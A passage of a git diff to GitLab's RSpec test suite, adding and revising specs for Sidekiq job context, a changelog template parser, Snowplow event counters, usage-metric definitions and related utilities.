+ arguments_proc: -> (name) { [name, 1, 2, 3] },
+ context_proc: -> (_) { { feature_category: 'code_review' } }
+ )
+
+ job1 = TestWithContextWorker.job_for_args(['job1', 1, 2, 3])
+ job2 = TestWithContextWorker.job_for_args(['job2', 1, 2, 3])
+
+ expect(job1['meta.feature_category']).to eq('issue_tracking')
+ expect(job2['meta.feature_category']).to eq('issue_tracking')
+ end
+ end
+
+ context 'when the feature category is already set in the surrounding block' do
+ it 'takes the feature category from the worker, not the caller' do
+ Gitlab::ApplicationContext.with_context(feature_category: 'authentication_and_authorization') do
+ TestWithContextWorker.bulk_perform_async_with_contexts(
+ %w(job1 job2),
+ arguments_proc: -> (name) { [name, 1, 2, 3] },
+ context_proc: -> (_) { {} }
+ )
+ end
+
+ job1 = TestWithContextWorker.job_for_args(['job1', 1, 2, 3])
+ job2 = TestWithContextWorker.job_for_args(['job2', 1, 2, 3])
+
+ expect(job1['meta.feature_category']).to eq('issue_tracking')
+ expect(job2['meta.feature_category']).to eq('issue_tracking')
+ end
+ end
end
end
diff --git a/spec/lib/gitlab/sidekiq_queue_spec.rb b/spec/lib/gitlab/sidekiq_queue_spec.rb
index 44ac89c0816..2ab32657f0e 100644
--- a/spec/lib/gitlab/sidekiq_queue_spec.rb
+++ b/spec/lib/gitlab/sidekiq_queue_spec.rb
@@ -31,7 +31,7 @@ RSpec.describe Gitlab::SidekiqQueue, :clean_gitlab_redis_queues do
context 'when the queue is not processed in time' do
before do
- allow(Gitlab::Metrics::System).to receive(:monotonic_time).and_return(1, 2, 12)
+ allow(sidekiq_queue).to receive(:monotonic_time).and_return(1, 2, 12)
end
it 'returns a non-completion flag, the number of jobs deleted, and the remaining queue size' do
diff --git a/spec/lib/gitlab/sidekiq_status_spec.rb b/spec/lib/gitlab/sidekiq_status_spec.rb
index dd5b8856ccd..fc2ac29a1f9 100644
--- a/spec/lib/gitlab/sidekiq_status_spec.rb
+++ b/spec/lib/gitlab/sidekiq_status_spec.rb
@@ -2,8 +2,8 @@
require 'spec_helper'
-RSpec.describe Gitlab::SidekiqStatus do
- describe '.set', :clean_gitlab_redis_shared_state do
+RSpec.describe Gitlab::SidekiqStatus, :clean_gitlab_redis_queues, :clean_gitlab_redis_shared_state do
+ describe '.set' do
it 'stores the job ID' do
described_class.set('123')
@@ -16,7 +16,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe '.unset', :clean_gitlab_redis_shared_state do
+ describe '.unset' do
it 'removes the job ID' do
described_class.set('123')
described_class.unset('123')
@@ -29,7 +29,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe '.all_completed?', :clean_gitlab_redis_shared_state do
+ describe '.all_completed?' do
it 'returns true if all jobs have been completed' do
expect(described_class.all_completed?(%w(123))).to eq(true)
end
@@ -41,7 +41,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe '.running?', :clean_gitlab_redis_shared_state do
+ describe '.running?' do
it 'returns true if job is running' do
described_class.set('123')
@@ -53,7 +53,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe '.num_running', :clean_gitlab_redis_shared_state do
+ describe '.num_running' do
it 'returns 0 if all jobs have been completed' do
expect(described_class.num_running(%w(123))).to eq(0)
end
@@ -66,7 +66,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe '.num_completed', :clean_gitlab_redis_shared_state do
+ describe '.num_completed' do
it 'returns 1 if all jobs have been completed' do
expect(described_class.num_completed(%w(123))).to eq(1)
end
@@ -88,7 +88,7 @@ RSpec.describe Gitlab::SidekiqStatus do
end
end
- describe 'completed', :clean_gitlab_redis_shared_state do
+ describe 'completed' do
it 'returns the completed job' do
expect(described_class.completed_jids(%w(123))).to eq(['123'])
end
diff --git a/spec/lib/gitlab/spamcheck/client_spec.rb b/spec/lib/gitlab/spamcheck/client_spec.rb
index 491e5e9a662..15e963fe423 100644
--- a/spec/lib/gitlab/spamcheck/client_spec.rb
+++ b/spec/lib/gitlab/spamcheck/client_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Gitlab::Spamcheck::Client do
let(:endpoint) { 'grpc://grpc.test.url' }
let_it_be(:user) { create(:user, organization: 'GitLab') }
- let(:verdict_value) { nil }
+ let(:verdict_value) { ::Spamcheck::SpamVerdict::Verdict::ALLOW }
let(:error_value) { "" }
let(:attribs_value) do
@@ -56,6 +56,13 @@ RSpec.describe Gitlab::Spamcheck::Client do
expect(subject).to eq([expected, { "monitorMode" => "false" }, ""])
end
end
+
+ it 'includes interceptors' do
+ expect_next_instance_of(::Gitlab::Spamcheck::Client) do |client|
+ expect(client).to receive(:interceptors).and_call_original
+ end
+ subject
+ end
end
describe "#build_issue_protobuf", :aggregate_failures do
diff --git a/spec/lib/gitlab/template_parser/ast_spec.rb b/spec/lib/gitlab/template_parser/ast_spec.rb
new file mode 100644
index 00000000000..27361ea8632
--- /dev/null
+++ b/spec/lib/gitlab/template_parser/ast_spec.rb
@@ -0,0 +1,246 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::TemplateParser::AST::Identifier do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'evaluates a selector' do
+ data = { 'number' => 10 }
+
+ expect(described_class.new('number').evaluate(state, data)).to eq(10)
+ end
+
+ it 'returns nil if the key is not set' do
+ expect(described_class.new('number').evaluate(state, {})).to be_nil
+ end
+
+ it 'returns nil if the input is not a Hash' do
+ expect(described_class.new('number').evaluate(state, 45)).to be_nil
+ end
+
+ it 'returns the current data when using the special identifier "it"' do
+ expect(described_class.new('it').evaluate(state, 45)).to eq(45)
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Integer do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'evaluates a selector' do
+ expect(described_class.new(0).evaluate(state, [10])).to eq(10)
+ end
+
+ it 'returns nil if the index is not set' do
+ expect(described_class.new(1).evaluate(state, [10])).to be_nil
+ end
+
+ it 'returns nil if the input is not an Array' do
+ expect(described_class.new(0).evaluate(state, {})).to be_nil
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Selector do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+ let(:data) { { 'numbers' => [10] } }
+
+ describe '#evaluate' do
+ it 'evaluates a selector' do
+ ident = Gitlab::TemplateParser::AST::Identifier.new('numbers')
+ int = Gitlab::TemplateParser::AST::Integer.new(0)
+
+ expect(described_class.new([ident, int]).evaluate(state, data)).to eq(10)
+ end
+
+ it 'evaluates a selector that returns nil' do
+ int = Gitlab::TemplateParser::AST::Integer.new(0)
+
+ expect(described_class.new([int]).evaluate(state, data)).to be_nil
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Variable do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+ let(:data) { { 'numbers' => [10] } }
+
+ describe '#evaluate' do
+ it 'evaluates a variable' do
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{{numbers.0}}')
+ .nodes[0]
+
+ expect(node.evaluate(state, data)).to eq('10')
+ end
+
+ it 'evaluates an undefined variable' do
+ node =
+ Gitlab::TemplateParser::Parser.new.parse_and_transform('{{foobar}}').nodes[0]
+
+ expect(node.evaluate(state, data)).to eq('')
+ end
+
+ it 'evaluates the special variable "it"' do
+ node =
+ Gitlab::TemplateParser::Parser.new.parse_and_transform('{{it}}').nodes[0]
+
+ expect(node.evaluate(state, data)).to eq(data.to_s)
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Expressions do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'evaluates all expressions' do
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{{number}}foo')
+
+ expect(node.evaluate(state, { 'number' => 10 })).to eq('10foo')
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Text do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'returns the text' do
+ expect(described_class.new('foo').evaluate(state, {})).to eq('foo')
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::If do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'evaluates a truthy if expression without an else clause' do
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{% if thing %}foo{% end %}')
+ .nodes[0]
+
+ expect(node.evaluate(state, { 'thing' => true })).to eq('foo')
+ end
+
+ it 'evaluates a falsy if expression without an else clause' do
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{% if thing %}foo{% end %}')
+ .nodes[0]
+
+ expect(node.evaluate(state, { 'thing' => false })).to eq('')
+ end
+
+ it 'evaluates a falsy if expression with an else clause' do
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{% if thing %}foo{% else %}bar{% end %}')
+ .nodes[0]
+
+ expect(node.evaluate(state, { 'thing' => false })).to eq('bar')
+ end
+ end
+
+ describe '#truthy?' do
+ it 'returns true for a non-empty String' do
+ expect(described_class.new.truthy?('foo')).to eq(true)
+ end
+
+ it 'returns true for a non-empty Array' do
+ expect(described_class.new.truthy?([10])).to eq(true)
+ end
+
+ it 'returns true for a Boolean true' do
+ expect(described_class.new.truthy?(true)).to eq(true)
+ end
+
+ it 'returns false for an empty String' do
+ expect(described_class.new.truthy?('')).to eq(false)
+ end
+
+ it 'returns true for an empty Array' do
+ expect(described_class.new.truthy?([])).to eq(false)
+ end
+
+ it 'returns false for a Boolean false' do
+ expect(described_class.new.truthy?(false)).to eq(false)
+ end
+ end
+end
+
+RSpec.describe Gitlab::TemplateParser::AST::Each do
+ let(:state) { Gitlab::TemplateParser::EvalState.new }
+
+ describe '#evaluate' do
+ it 'evaluates the expression' do
+ data = { 'animals' => [{ 'name' => 'Cat' }, { 'name' => 'Dog' }] }
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{% each animals %}{{name}}{% end %}')
+ .nodes[0]
+
+ expect(node.evaluate(state, data)).to eq('CatDog')
+ end
+
+ it 'returns an empty string when the input is not a collection' do
+ data = { 'animals' => 10 }
+ node = Gitlab::TemplateParser::Parser
+ .new
+ .parse_and_transform('{% each animals %}{{name}}{% end %}')
+ .nodes[0]
+
+ expect(node.evaluate(state, data)).to eq('')
+ end
+
+ it 'disallows too many nested loops' do
+ data = {
+ 'foo' => [
+ {
+ 'bar' => [
+ {
+ 'baz' => [
+ {
+ 'quix' => [
+ {
+ 'foo' => [{ 'name' => 'Alice' }]
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+ ]
+ }
+
+ template = <<~TPL
+ {% each foo %}
+ {% each bar %}
+ {% each baz %}
+ {% each quix %}
+ {% each foo %}
+ {{name}}
+ {% end %}
+ {% end %}
+ {% end %}
+ {% end %}
+ {% end %}
+ TPL
+
+ node =
+ Gitlab::TemplateParser::Parser.new.parse_and_transform(template).nodes[0]
+
+ expect { node.evaluate(state, data) }
+ .to raise_error(Gitlab::TemplateParser::Error)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/template_parser/parser_spec.rb b/spec/lib/gitlab/template_parser/parser_spec.rb
new file mode 100644
index 00000000000..22247cbb693
--- /dev/null
+++ b/spec/lib/gitlab/template_parser/parser_spec.rb
@@ -0,0 +1,78 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::TemplateParser::Parser do
+ let(:parser) { described_class.new }
+
+ describe '#root' do
+ it 'parses an empty template' do
+ expect(parser.root).to parse('')
+ end
+
+ it 'parses a variable with a single identifier step' do
+ expect(parser.root).to parse('{{foo}}')
+ end
+
+ it 'parses a variable with a single integer step' do
+ expect(parser.root).to parse('{{0}}')
+ end
+
+ it 'parses a variable with multiple selector steps' do
+ expect(parser.root).to parse('{{foo.bar}}')
+ end
+
+ it 'parses a variable with an integer selector step' do
+ expect(parser.root).to parse('{{foo.bar.0}}')
+ end
+
+ it 'parses the special "it" variable' do
+ expect(parser.root).to parse('{{it}}')
+ end
+
+ it 'parses a text node' do
+ expect(parser.root).to parse('foo')
+ end
+
+ it 'parses an if expression' do
+ expect(parser.root).to parse('{% if foo %}bar{% end %}')
+ end
+
+ it 'parses an if-else expression' do
+ expect(parser.root).to parse('{% if foo %}bar{% else %}baz{% end %}')
+ end
+
+ it 'parses an each expression' do
+ expect(parser.root).to parse('{% each foo %}foo{% end %}')
+ end
+
+ it 'parses an escaped newline' do
+ expect(parser.root).to parse("foo\\\nbar")
+ end
+
+ it 'parses a regular newline' do
+ expect(parser.root).to parse("foo\nbar")
+ end
+
+ it 'parses the default changelog template' do
+ expect(parser.root).to parse(Gitlab::Changelog::Config::DEFAULT_TEMPLATE)
+ end
+
+ it 'raises an error when parsing an integer selector that is too large' do
+ expect(parser.root).not_to parse('{{100000000000}}')
+ end
+ end
+
+ describe '#parse_and_transform' do
+ it 'parses and transforms a template' do
+ node = parser.parse_and_transform('foo')
+
+ expect(node).to be_instance_of(Gitlab::TemplateParser::AST::Expressions)
+ end
+
+ it 'raises parsing errors using a custom error class' do
+ expect { parser.parse_and_transform('{% each') }
+ .to raise_error(Gitlab::TemplateParser::Error)
+ end
+ end
+end
diff --git a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
index 65597e6568d..f8e73a807c6 100644
--- a/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
+++ b/spec/lib/gitlab/tracking/destinations/snowplow_spec.rb
@@ -21,7 +21,10 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
expect(SnowplowTracker::AsyncEmitter)
.to receive(:new)
- .with('gitfoo.com', { protocol: 'https' })
+ .with('gitfoo.com',
+ { protocol: 'https',
+ on_success: subject.method(:increment_successful_events_emissions),
+ on_failure: subject.method(:failure_callback) })
.and_return(emitter)
expect(SnowplowTracker::Tracker)
@@ -40,6 +43,18 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
.to have_received(:track_struct_event)
.with('category', 'action', 'label', 'property', 1.5, nil, (Time.now.to_f * 1000).to_i)
end
+
+ it 'increase total snowplow events counter' do
+ counter = double
+
+ expect(counter).to receive(:increment)
+ expect(Gitlab::Metrics).to receive(:counter)
+ .with(:gitlab_snowplow_events_total,
+ 'Number of Snowplow events')
+ .and_return(counter)
+
+ subject.event('category', 'action', label: 'label', property: 'property', value: 1.5)
+ end
end
end
@@ -52,4 +67,43 @@ RSpec.describe Gitlab::Tracking::Destinations::Snowplow do
end
end
end
+
+ context 'callbacks' do
+ describe 'on success' do
+ it 'increase gitlab_successful_snowplow_events_total counter' do
+ counter = double
+
+ expect(counter).to receive(:increment).with({}, 2)
+ expect(Gitlab::Metrics).to receive(:counter)
+ .with(:gitlab_snowplow_successful_events_total,
+ 'Number of successful Snowplow events emissions')
+ .and_return(counter)
+
+ subject.method(:increment_successful_events_emissions).call(2)
+ end
+ end
+
+ describe 'on failure' do
+ it 'increase gitlab_failed_snowplow_events_total counter and logs failures', :aggregate_failures do
+ counter = double
+ error_message = "Admin::AuditLogsController search_audit_event failed to be reported to collector at gitfoo.com"
+ failures = [{ "e" => "se",
+ "se_ca" => "Admin::AuditLogsController",
+ "se_ac" => "search_audit_event" }]
+ allow(Gitlab::Metrics).to receive(:counter)
+ .with(:gitlab_snowplow_successful_events_total,
+ 'Number of successful Snowplow events emissions')
+ .and_call_original
+
+ expect(Gitlab::AppLogger).to receive(:error).with(error_message)
+ expect(counter).to receive(:increment).with({}, 1)
+ expect(Gitlab::Metrics).to receive(:counter)
+ .with(:gitlab_snowplow_failed_events_total,
+ 'Number of failed Snowplow events emissions')
+ .and_return(counter)
+
+ subject.method(:failure_callback).call(2, failures)
+ end
+ end
+ end
end
diff --git a/spec/lib/gitlab/usage/docs/helper_spec.rb b/spec/lib/gitlab/usage/docs/helper_spec.rb
new file mode 100644
index 00000000000..e2bb1d8d818
--- /dev/null
+++ b/spec/lib/gitlab/usage/docs/helper_spec.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Docs::Helper do
+ subject(:helper) { klass.new }
+
+ let_it_be(:klass) do
+ Class.new do
+ include Gitlab::Usage::Docs::Helper
+ end
+ end
+
+ let(:metric_definition) do
+ {
+ data_category: 'Standard',
+ name: 'test_metric',
+ description: description,
+ product_group: 'group::product intelligence',
+ status: 'data_available',
+ tier: %w(free premium)
+ }
+ end
+
+ let(:description) { 'Metric description' }
+
+ describe '#render_name' do
+ it { expect(helper.render_name(metric_definition[:name])).to eq('### `test_metric`') }
+ end
+
+ describe '#render_description' do
+ context 'without description' do
+ let(:description) { nil }
+
+ it { expect(helper.render_description(metric_definition)).to eq('Missing description') }
+ end
+
+ context 'without description' do
+ it { expect(helper.render_description(metric_definition)).to eq('Metric description') }
+ end
+ end
+
+ describe '#render_yaml_link' do
+ let(:yaml_link) { 'config/metrics/license/test_metric.yml' }
+ let(:expected) { "[YAML definition](#{yaml_link})" }
+
+ it { expect(helper.render_yaml_link(yaml_link)).to eq(expected) }
+ end
+
+ describe '#render_status' do
+ let(:expected) { "Status: `data_available`" }
+
+ it { expect(helper.render_status(metric_definition)).to eq(expected) }
+ end
+
+ describe '#render_owner' do
+ let(:expected) { "Group: `group::product intelligence`" }
+
+ it { expect(helper.render_owner(metric_definition)).to eq(expected) }
+ end
+
+ describe '#render_tiers' do
+ let(:expected) { "Tiers: `free`, `premium`" }
+
+ it { expect(helper.render_tiers(metric_definition)).to eq(expected) }
+ end
+
+ describe '#render_data_category' do
+ let(:expected) { 'Data Category: `Standard`' }
+
+ it { expect(helper.render_data_category(metric_definition)).to eq(expected) }
+ end
+
+ describe '#render_owner' do
+ let(:expected) { "Group: `group::product intelligence`" }
+
+ it { expect(helper.render_owner(metric_definition)).to eq(expected) }
+ end
+end
diff --git a/spec/lib/gitlab/usage/metric_definition_spec.rb b/spec/lib/gitlab/usage/metric_definition_spec.rb
index 1ed639b2f7d..f3c3e5fc550 100644
--- a/spec/lib/gitlab/usage/metric_definition_spec.rb
+++ b/spec/lib/gitlab/usage/metric_definition_spec.rb
@@ -17,7 +17,8 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
data_source: 'database',
distribution: %w(ee ce),
tier: %w(free starter premium ultimate bronze silver gold),
- name: 'count_boards'
+ name: 'uuid',
+ data_category: 'Standard'
}
end
@@ -63,6 +64,7 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
:value_type | nil
:value_type | 'test'
:status | nil
+ :data_category | nil
:key_path | nil
:product_group | nil
:time_frame | nil
@@ -196,7 +198,8 @@ RSpec.describe Gitlab::Usage::MetricDefinition do
time_frame: 'none',
data_source: 'database',
distribution: %w(ee ce),
- tier: %w(free starter premium ultimate bronze silver gold)
+ tier: %w(free starter premium ultimate bronze silver gold),
+ data_category: 'Optional'
}
end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric_spec.rb
new file mode 100644
index 00000000000..8f52d550e5c
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/collected_data_categories_metric_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::CollectedDataCategoriesMetric do
+ it_behaves_like 'a correct instrumented metric value', {} do
+ let(:expected_value) { %w[Standard Subscription Operational Optional] }
+
+ before do
+ allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |instance|
+ expect(instance).to receive(:execute).and_return(expected_value)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb b/spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb
new file mode 100644
index 00000000000..5e36820df5e
--- /dev/null
+++ b/spec/lib/gitlab/usage/metrics/instrumentations/database_metric_spec.rb
@@ -0,0 +1,75 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Gitlab::Usage::Metrics::Instrumentations::DatabaseMetric do
+ subject do
+ described_class.tap do |m|
+ m.relation { Issue }
+ m.operation :count
+ m.start { m.relation.minimum(:id) }
+ m.finish { m.relation.maximum(:id) }
+ end.new(time_frame: 'all')
+ end
+
+ describe '#value' do
+ let_it_be(:issue_1) { create(:issue) }
+ let_it_be(:issue_2) { create(:issue) }
+ let_it_be(:issue_3) { create(:issue) }
+ let_it_be(:issues) { Issue.all }
+
+ before do
+ allow(ActiveRecord::Base.connection).to receive(:transaction_open?).and_return(false)
+ end
+
+ it 'calculates a correct result' do
+ expect(subject.value).to eq(3)
+ end
+
+ it 'does not cache the result of start and finish', :request_store, :use_clean_rails_redis_caching do
+ expect(Gitlab::Cache).not_to receive(:fetch_once)
+ expect(subject).to receive(:count).with(any_args, hash_including(start: issues.min_by(&:id).id, finish: issues.max_by(&:id).id)).and_call_original
+
+ subject.value
+
+ expect(Rails.cache.read('metric_instrumentation/special_issue_count_minimum_id')).to eq(nil)
+ expect(Rails.cache.read('metric_instrumentation/special_issue_count_maximum_id')).to eq(nil)
+ end
+
+ context 'with start and finish not called' do
+ subject do
+ described_class.tap do |m|
+ m.relation { Issue }
+ m.operation :count
+ end.new(time_frame: 'all')
+ end
+
+ it 'calculates a correct result' do
+ expect(subject.value).to eq(3)
+ end
+ end
+
+ context 'with cache_start_and_finish_as called' do
+ subject do
+ described_class.tap do |m|
+ m.relation { Issue }
+ m.operation :count
+ m.start { m.relation.minimum(:id) }
+ m.finish { m.relation.maximum(:id) }
+ m.cache_start_and_finish_as :special_issue_count
+ end.new(time_frame: 'all')
+ end
+
+ it 'caches using the key name passed', :request_store, :use_clean_rails_redis_caching do
+ expect(Gitlab::Cache).to receive(:fetch_once).with('metric_instrumentation/special_issue_count_minimum_id', any_args).and_call_original
+ expect(Gitlab::Cache).to receive(:fetch_once).with('metric_instrumentation/special_issue_count_maximum_id', any_args).and_call_original
+ expect(subject).to receive(:count).with(any_args, hash_including(start: issues.min_by(&:id).id, finish: issues.max_by(&:id).id)).and_call_original
+
+ subject.value
+
+ expect(Rails.cache.read('metric_instrumentation/special_issue_count_minimum_id')).to eq(issues.min_by(&:id).id)
+ expect(Rails.cache.read('metric_instrumentation/special_issue_count_maximum_id')).to eq(issues.max_by(&:id).id)
+ end
+ end
+ end
+end
diff --git a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
index 4efacae0a48..d89202ae7fe 100644
--- a/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/hll_redis_counter_spec.rb
@@ -46,7 +46,8 @@ RSpec.describe Gitlab::UsageDataCounters::HLLRedisCounter, :clean_gitlab_redis_s
'pipeline_authoring',
'epics_usage',
'epic_boards_usage',
- 'secure'
+ 'secure',
+ 'network_policies'
)
end
end
diff --git a/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb b/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
index 78cc27c8569..6f201b43390 100644
--- a/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
+++ b/spec/lib/gitlab/usage_data_counters/package_event_counter_spec.rb
@@ -14,7 +14,7 @@ RSpec.describe Gitlab::UsageDataCounters::PackageEventCounter, :clean_gitlab_red
end
it 'includes the right events' do
- expect(described_class::KNOWN_EVENTS.size).to eq 52
+ expect(described_class::KNOWN_EVENTS.size).to eq 63
end
described_class::KNOWN_EVENTS.each do |event|
diff --git a/spec/lib/gitlab/usage_data_spec.rb b/spec/lib/gitlab/usage_data_spec.rb
index ea82de186f5..d84974e562a 100644
--- a/spec/lib/gitlab/usage_data_spec.rb
+++ b/spec/lib/gitlab/usage_data_spec.rb
@@ -435,8 +435,8 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
create(:issue, project: project, author: User.support_bot)
create(:note, project: project, noteable: issue, author: user)
create(:todo, project: project, target: issue, author: user)
- create(:jira_service, :jira_cloud_service, active: true, project: create(:project, :jira_dvcs_cloud, creator: user))
- create(:jira_service, active: true, project: create(:project, :jira_dvcs_server, creator: user))
+ create(:jira_integration, :jira_cloud_service, active: true, project: create(:project, :jira_dvcs_cloud, creator: user))
+ create(:jira_integration, active: true, project: create(:project, :jira_dvcs_server, creator: user))
end
expect(described_class.usage_activity_by_stage_plan({})).to include(
@@ -1078,6 +1078,16 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
it 'gathers gitaly apdex', :aggregate_failures do
expect(subject[:settings][:gitaly_apdex]).to be_within(0.001).of(0.95)
end
+
+ it 'reports collected data categories' do
+ expected_value = %w[Standard Subscription Operational Optional]
+
+ allow_next_instance_of(ServicePing::PermitDataCategoriesService) do |instance|
+ expect(instance).to receive(:execute).and_return(expected_value)
+ end
+
+ expect(subject[:settings][:collected_data_categories]).to eq(expected_value)
+ end
end
end
@@ -1269,7 +1279,7 @@ RSpec.describe Gitlab::UsageData, :aggregate_failures do
let(:categories) { ::Gitlab::UsageDataCounters::HLLRedisCounter.categories }
let(:ineligible_total_categories) do
- %w[source_code ci_secrets_management incident_management_alerts snippets terraform incident_management_oncall secure]
+ %w[source_code ci_secrets_management incident_management_alerts snippets terraform incident_management_oncall secure network_policies]
end
context 'with redis_hll_tracking feature enabled' do
diff --git a/spec/lib/gitlab/utils/usage_data_spec.rb b/spec/lib/gitlab/utils/usage_data_spec.rb
index 11b2a12f228..8f705d6a487 100644
--- a/spec/lib/gitlab/utils/usage_data_spec.rb
+++ b/spec/lib/gitlab/utils/usage_data_spec.rb
@@ -377,7 +377,7 @@ RSpec.describe Gitlab::Utils::UsageData do
shared_examples 'try to query Prometheus with given address' do
context 'Prometheus is ready' do
before do
- stub_request(:get, /\/-\/ready/)
+ stub_request(:get, %r{/-/ready})
.to_return(status: 200, body: 'Prometheus is Ready.\n')
end
@@ -387,7 +387,7 @@ RSpec.describe Gitlab::Utils::UsageData do
context 'Prometheus is not reachable through HTTPS' do
before do
- stub_request(:get, /https:\/\/.*/).to_raise(Errno::ECONNREFUSED)
+ stub_request(:get, %r{https://.*}).to_raise(Errno::ECONNREFUSED)
end
context 'Prometheus is reachable through HTTP' do
@@ -396,7 +396,7 @@ RSpec.describe Gitlab::Utils::UsageData do
context 'Prometheus is not reachable through HTTP' do
before do
- stub_request(:get, /http:\/\/.*/).to_raise(Errno::ECONNREFUSED)
+ stub_request(:get, %r{http://.*}).to_raise(Errno::ECONNREFUSED)
end
it_behaves_like 'does not query data from Prometheus'
@@ -406,7 +406,7 @@ RSpec.describe Gitlab::Utils::UsageData do
context 'Prometheus is not ready' do
before do
- stub_request(:get, /\/-\/ready/)
+ stub_request(:get, %r{/-/ready})
.to_return(status: 503, body: 'Service Unavailable')
end
diff --git a/spec/lib/gitlab/utils_spec.rb b/spec/lib/gitlab/utils_spec.rb
index a7ccce0aaab..f1601294c07 100644
--- a/spec/lib/gitlab/utils_spec.rb
+++ b/spec/lib/gitlab/utils_spec.rb
@@ -351,6 +351,22 @@ RSpec.describe Gitlab::Utils do
end
end
+ describe '.deep_symbolized_access' do
+ let(:hash) do
+ { "variables" => [{ "key" => "VAR1", "value" => "VALUE2" }] }
+ end
+
+ subject { described_class.deep_symbolized_access(hash) }
+
+ it 'allows to access hash keys with symbols' do
+ expect(subject[:variables]).to be_a(Array)
+ end
+
+ it 'allows to access array keys with symbols' do
+ expect(subject[:variables].first[:key]).to eq('VAR1')
+ end
+ end
+
describe '.try_megabytes_to_bytes' do
context 'when the size can be converted to megabytes' do
it 'returns the size in megabytes' do
diff --git a/spec/lib/gitlab/wiki_file_finder_spec.rb b/spec/lib/gitlab/wiki_file_finder_spec.rb
index 7abe92a5a2b..3102f628de9 100644
--- a/spec/lib/gitlab/wiki_file_finder_spec.rb
+++ b/spec/lib/gitlab/wiki_file_finder_spec.rb
@@ -4,12 +4,11 @@ require 'spec_helper'
RSpec.describe Gitlab::WikiFileFinder do
describe '#find' do
- let(:project) { create(:project, :public, :wiki_repo) }
- let(:wiki) { build(:project_wiki, project: project) }
-
- before do
- wiki.create_page('Files/Title', 'Content')
- wiki.create_page('CHANGELOG', 'Files example')
+ let_it_be(:project) do
+ create(:project, :public, :wiki_repo).tap do |project|
+ project.wiki.create_page('Files/Title', 'Content')
+ project.wiki.create_page('CHANGELOG', 'Files example')
+ end
end
it_behaves_like 'file finder' do
diff --git a/spec/lib/marginalia_spec.rb b/spec/lib/marginalia_spec.rb
index 040f70236c6..dd57cd7980e 100644
--- a/spec/lib/marginalia_spec.rb
+++ b/spec/lib/marginalia_spec.rb
@@ -89,21 +89,7 @@ RSpec.describe 'Marginalia spec' do
end
end
- describe 'for ActionMailer delivery jobs' do
- # We need to ensure that this runs through Sidekiq to take
- # advantage of the middleware. There is a Rails bug that means we
- # have to do some extra steps to make this happen:
- # https://github.com/rails/rails/issues/37270#issuecomment-553927324
- around do |example|
- descendants = ActiveJob::Base.descendants + [ActiveJob::Base]
- descendants.each(&:disable_test_adapter)
- ActiveJob::Base.queue_adapter = :sidekiq
-
- example.run
-
- descendants.each { |a| a.queue_adapter = :test }
- end
-
+ describe 'for ActionMailer delivery jobs', :sidekiq_mailers do
let(:delivery_job) { MarginaliaTestMailer.first_user.deliver_later }
let(:recorded) do
diff --git a/spec/lib/object_storage/direct_upload_spec.rb b/spec/lib/object_storage/direct_upload_spec.rb
index 4b374452c0a..006f4f603b6 100644
